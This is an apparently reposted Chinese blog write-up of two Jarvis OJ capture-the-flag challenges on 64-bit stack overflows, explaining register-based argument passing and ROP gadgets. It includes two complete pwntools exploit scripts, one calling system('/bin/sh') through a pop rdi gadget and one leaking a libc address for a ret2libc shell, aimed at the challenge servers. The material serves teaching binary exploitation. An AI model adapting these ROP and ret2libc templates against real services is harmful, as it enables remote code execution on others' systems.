zoukankan      html  css  js  c++  java
  • [转]Jarvis OJ- [XMAN]level2/3_x64-Writeup

    学弟写的挺好的,我就直接转过来了
    原文链接:http://www.cnblogs.com/ZHijack/p/7940686.html

    两道64位栈溢出,思路和之前的32位溢出基本一致,所以放在一起

    在这两道中体现的32位和64位的主要区别在于函数参数传递的方式

    在32位程序运行中,函数参数直接压入栈中

        调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

    在64位程序运行中,参数传递需要寄存器

        64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

        参数超过六个时,从第七个开始压入栈中

    Level2_x64

       

      

       和32位level2程序逻辑基本一致

       只要在调用system函数传递参数“/bin/sh”时,将其传入寄存器即可。

      Something new  

        可以使用ROPgadget搜索我们需要的rop链

         ROPgadget可以在程序的汇编代码中寻找字符串或命令

        

        箭头所指pop rdi ; ret  即为将栈顶元素弹出并存入寄存器rdi,ret返回栈。

       可以利用此类语句将函数参数传入寄存器。 

       exp: 

    复制代码
    #!usr/bin/env python 
    # -*- coding: utf-8 -*-
    from pwn import  *
    
    io = remote("pwn2.jarvisoj.com",9882)
    elf = ELF("./level2_x64")
    
    sys_addr = elf.symbols["system"]
    bin_addr = 0x600A90    #利用ROPgadget获得
    rdi_ret = 0x4006B3
    
    payload = ''
    payload += 'a' * 0x88
    payload += p64(rdi_ret)
    payload += p64(bin_addr)
    payload += p64(sys_addr)
    
    io.recvline()
    io.sendline(payload)
    io.interactive()
    io.close()
    复制代码

       结果如下

       

    Level3_x64

      和上一个相同,差别只在调用函数时参数的传递

      

      按照参数传递约定,write函数需要三个参数,需要rdi,rsi,rdx三个寄存器,但是没有发现所需要的第三个寄存器rdx

      所以可以先跳过第三个参数(读入长度)

      写好exp之后可以调试下,查看在调用函数之前,rdx的值,如果rdx值>=8,那么就不需要处理,

      exp

    复制代码
    #!usr/bin/env python 
    # -*- coding: utf-8 -*-
    
    
    from pwn import *
    context.log_level = 'debug'
    io = remote("pwn2.jarvisoj.com",9883)
    elf = ELF("./level3_x64")
    
    write_plt = elf.plt["write"]
    write_got = elf.got["write"]
    func = elf.symbols["vulnerable_function"]
    
    libc = ELF("./libc-2.19.so")
    write_libc = libc.symbols["write"]
    sys_libc = libc.symbols["system"]
    bin_libc = libc.search("/bin/sh").next()
    
    rdi_ret = 0x4006B3
    rsi_ret = 0x4006B1
    payload1 = 'a' * 0x88
    payload1 += p64(rdi_ret) + p64(1)   # rdi
    payload1 += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef)  #rsi 和 r15
    payload1 += p64(write_plt) + p64(func)
    
    io.recvline()
    io.sendline(payload1)
    write_addr = u64(io.recv(8))
    sys_addr = write_addr - write_libc + sys_libc
    bin_addr = write_addr - write_libc + bin_libc
    
    payload2 = 'a' * 0x88
    payload2 += p64(rdi_ret) + p64(bin_addr)
    payload2 += p64(sys_addr) + p64(0xdeadbeef)
    
    io.recvline()
    io.sendline(payload2)
    io.interactive()
    io.close()
    复制代码

      结果:

      

    关于程序中寄存器不够的问题,留一个链接http://m.blog.csdn.net/zsj2102/article/details/78560300

    讲的还算清楚

  • 相关阅读:
    解决RobotFramework的关键字不能高亮的问题
    使用Python遇到:'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte 问题
    通过Jekins执行bat脚本始终无法完成
    Can not find the tag library descriptor for "http://java.sun.com/jsp/jstl/core"
    [转]The superclass "javax.servlet.http.HttpServlet" was not found on the Java Build Path
    HDU 2686 MCMF
    HDU 4278 卡特兰,区间DP
    POJ 2985 名次树
    POJ 2531 深搜剪枝
    Uva 10061 进制问题
  • 原文地址:https://www.cnblogs.com/WangAoBo/p/7966773.html
Copyright © 2011-2022 走看看